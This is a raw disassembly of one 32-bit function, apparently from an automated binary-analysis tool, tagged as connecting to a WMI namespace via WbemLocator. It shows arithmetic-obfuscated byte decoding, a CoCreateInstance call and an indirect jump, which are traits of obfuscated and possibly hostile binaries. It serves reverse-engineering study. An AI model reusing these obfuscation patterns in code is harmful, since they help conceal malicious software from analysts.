Function at 0x42eda0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x448
mov esi, esp
lea ecx, [0x448d18]
mov dword [esi + 0x40c], ecx
mov cl, byte [esi + 0x16c]
mov byte [esi + 0x178], cl
mov byte [esi + 0x170], pe_nt_image_headers32
mov byte [esi + 0x171], 0x79
mov byte [esi + 0x172], 0x74
mov byte [esi + 0x173], 0xf4
mov ecx, 4
mov byte [esi + ecx + 0x170], 0
add ecx, 1
cmp ecx, 8
jne 0x42edea
xor ebx, ebx
cmp ebx, 8
jae 0x42ee6a
movzx ecx, byte [esi + ebx + 0x170]
mov dword [esi + 0x240], ecx
mov edx, ebx
add edx, 0x7c44b16
mov edi, 0xe9
sub edi, ebx
mov eax, 0xe9
sub eax, ebx
and edi, eax
xor edi, 0xffffffff
and edi, ecx
mov eax, ecx
xor eax, 0xffffffff
mov ecx, edx
and ecx, eax
mov eax, edx
xor eax, dword [esi + 0x240]
add edx, eax
sub edx, ecx
mov eax, edx
shl eax, 1
xor eax, 0xffffffff
add edx, eax
or edx, edi
mov eax, edx
xor eax, 0xffffffff
shl eax, 1
and eax, 0x22
xor edx, 0x6e
add edx, eax
add dl, 1
mov byte [esi + ebx + 0x170], dl
add ebx, 1
jmp 0x42edfc
mov eax, dword [esi + 0x170]
mov ecx, dword [eax + 0x26c]
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov ecx, dword [eax + 0x270]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 0x260]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0x264]
sub eax, 2
sete byte [edx + 0xc]
mov edi, edx
add edi, 0x10
mov dword [edx + 0x10], 0
mov eax, edx
add eax, 0x14
mov dword [esi + 0x1f8], eax
mov byte [edx + 0x14], 0
mov eax, edx
add eax, 0x28
mov dword [esi + 0x34], eax
mov word [edx + 0x28], 0
mov eax, edx
add eax, 0x2a
mov dword [esi + 0x358], eax
mov byte [edx + 0x2a], 0
mov dword [esi + 0x168], 0
sub esp, 0x14
lea eax, [esi + 0x168]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x4435d8
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x4435e8
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
not eax
shr eax, 0x1f
mov dword [esi + 0x408], eax
mov eax, dword [esi + 0x40c]
mov ecx, dword [esi + 0x408]
mov eax, dword [eax + ecx*4]
mov ecx, dword [0x448d20]
xor ecx, 0x3aec89d6
sub eax, ecx
mov dword [esi + 0x278], eax
push eax
mov eax, esp
mov dword [esi + 0x280], eax
mov dword [eax], 0x448d24
push eax
mov dword [esi + 0x27c], esp
push eax
mov eax, esp
mov dword [esi + 0x288], eax
mov dword [eax], 0x448d30
push eax
mov dword [esi + 0x284], esp
push eax
mov eax, esp
mov dword [esi + 0x298], eax
mov dword [eax], 0x448d3c
push eax
mov dword [esi + 0x294], esp
push eax
mov eax, esp
mov dword [esi + 0x2a0], eax
mov dword [eax], 0x448d48
push eax
mov dword [esi + 0x29c], esp
push eax
mov eax, esp
mov dword [esi + 0x2a8], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448d54]
mov dword [esi + 0x2a4], eax
push eax
mov eax, esp
mov dword [esi + 0x2b0], eax
mov dword [eax], 0x448d5c
push eax
mov dword [esi + 0x2ac], esp
push eax
mov eax, esp
mov dword [esi + 0x2c0], eax
mov dword [eax], 0x448d68
push eax
mov dword [esi + 0x2b8], esp
push eax
mov eax, esp
mov dword [esi + 0x2bc], eax
mov dword [eax], 0x448d74
push eax
mov dword [esi + 0x2b4], esp
push eax
mov eax, esp
mov dword [esi + 0x2c8], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448d80]
mov dword [esi + 0x2c4], eax
push eax
mov eax, esp
mov dword [esi + 0x2d0], eax
mov dword [eax], 0x448d88
push eax
mov dword [esi + 0x2cc], esp
push eax
mov eax, esp
mov dword [esi + 0x2d8], eax
mov dword [eax], 0x448d94
push eax
mov dword [esi + 0x2d4], esp
push eax
mov eax, esp
mov dword [esi + 0x300], eax
mov dword [eax], 0x448da0
push eax
mov dword [esi + 0x2f4], esp
push eax
mov eax, esp
mov dword [esi + 0x2f0], eax
mov dword [eax], 0x448dac
push eax
mov dword [esi + 0x2ec], esp
push eax
mov eax, esp
mov dword [esi + 0x2fc], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448db8]
mov dword [esi + 0x2f8], eax
push eax
mov eax, esp
mov dword [esi + 0x308], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448dc0]
mov dword [esi + 0x304], eax
push eax
mov eax, esp
mov dword [esi + 0x318], eax
mov dword [eax], 0x448dc8
push eax
mov dword [esi + 0x30c], esp
push eax
mov eax, esp
mov dword [esi + 0x328], eax
mov dword [eax], 0x448dd4
push eax
mov dword [esi + 0x324], esp
push eax
mov eax, esp
mov dword [esi + 0x320], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448de0]
mov dword [esi + 0x31c], eax
push eax
mov eax, esp
mov dword [esi + 0x330], eax
mov dword [eax], 0x448de8
push eax
mov dword [esi + 0x32c], esp
push eax
mov eax, esp
mov dword [esi + 0x338], eax
mov dword [eax], 0x448df4
push eax
mov dword [esi + 0x334], esp
push eax
mov eax, esp
mov dword [esi + 0x344], eax
mov dword [eax], 0x448e00
push eax
mov dword [esi + 0x33c], esp
push eax
mov eax, esp
mov dword [esi + 0x348], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448e0c]
mov dword [esi + 0x340], eax
push eax
mov eax, esp
mov dword [esi + 0x350], eax
mov dword [eax], 0x448e14
push eax
mov dword [esi + 0x34c], esp
push eax
mov eax, esp
mov dword [esi + 0x36c], eax
mov dword [eax], 0x448e20
push eax
mov dword [esi + 0x368], esp
push eax
mov eax, esp
mov dword [esi + 0x37c], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448e2c]
mov dword [esi + 0x374], eax
push eax
mov eax, esp
mov dword [esi + 0x384], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448e34]
mov dword [esi + 0x380], eax
push eax
mov eax, esp
mov dword [esi + 0x38c], eax
mov dword [eax], 0x448e3c
push eax
mov dword [esi + 0x388], esp
push eax
mov eax, esp
mov dword [esi + 0x39c], eax
mov dword [eax], 0x448e48
push eax
mov dword [esi + 0x398], esp
push eax
mov eax, esp
mov dword [esi + 0x394], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448e54]
mov dword [esi + 0x390], eax
push eax
mov eax, esp
mov dword [esi + 0x3a4], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448e5c]
mov dword [esi + 0x3a0], eax
push eax
mov eax, esp
mov dword [esi + 0x3ac], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448e64]
mov dword [esi + 0x3a8], eax
push eax
mov eax, esp
mov dword [esi + 0x3b4], eax
mov dword [eax], 0x448e6c
push eax
mov dword [esi + 0x3b0], esp
push eax
mov ecx, esp
mov dword [esi + 0x3cc], ecx
mov dword [ecx], 0x448e78
push eax
mov dword [esi + 0x3c4], esp
push eax
mov ecx, esp
mov dword [esi + 0x3c8], ecx
mov dword [ecx], 0x4484e0
mov eax, dword [0x448e84]
mov dword [esi + 0x3bc], eax
push eax
mov ecx, esp
mov dword [esi + 0x3d4], ecx
mov dword [ecx], 0x4484e0
mov ecx, dword [0x448e8c]
mov dword [esi + 0x3d0], ecx
push eax
mov ecx, esp
mov dword [esi + 0x3dc], ecx
mov dword [ecx], 0x4484e0
mov ecx, dword [0x448e94]
mov dword [esi + 0x3d8], ecx
push eax
mov ecx, esp
mov dword [esi + 0x3e4], ecx
mov dword [ecx], 0x4484e0
mov ecx, dword [0x448e9c]
mov dword [esi + 0x3e0], ecx
push eax
mov ecx, esp
mov dword [esi + 0x3ec], ecx
mov dword [ecx], 0x448ea4
push eax
mov dword [esi + 0x3e8], esp
push eax
mov ecx, esp
mov dword [esi + 0x400], ecx
mov dword [ecx], 0x448eb0
push eax
mov dword [esi + 0x3f8], esp
push eax
mov ebx, esp
mov dword [ebx], 0x4484e0
mov ecx, dword [0x448ebc]
mov dword [esi + 0x3f0], ecx
push eax
mov ecx, esp
mov dword [ecx], 0x4484e0
mov edx, dword [0x448ec4]
push eax
mov eax, esp
mov dword [esi + 0x290], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448ecc]
mov dword [esi + 0x28c], eax
push eax
mov eax, esp
mov dword [esi + 0x2e0], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448ed4]
mov dword [esi + 0x2dc], eax
push eax
mov eax, esp
mov dword [esi + 0x2e8], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448edc]
mov dword [esi + 0x2e4], eax
push eax
mov eax, esp
mov dword [esi + 0x314], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448ee4]
mov dword [esi + 0x310], eax
push eax
mov eax, esp
mov dword [esi + 0x360], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448eec]
mov dword [esi + 0x35c], eax
push eax
mov eax, esp
mov dword [esi + 0x378], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448ef4]
mov dword [esi + 0x370], eax
push eax
mov eax, esp
mov dword [esi + 0x3c0], eax
mov dword [eax], 0x4484e0
mov eax, dword [0x448efc]
mov dword [esi + 0x3b8], eax
jmp dword [esi + 0x278]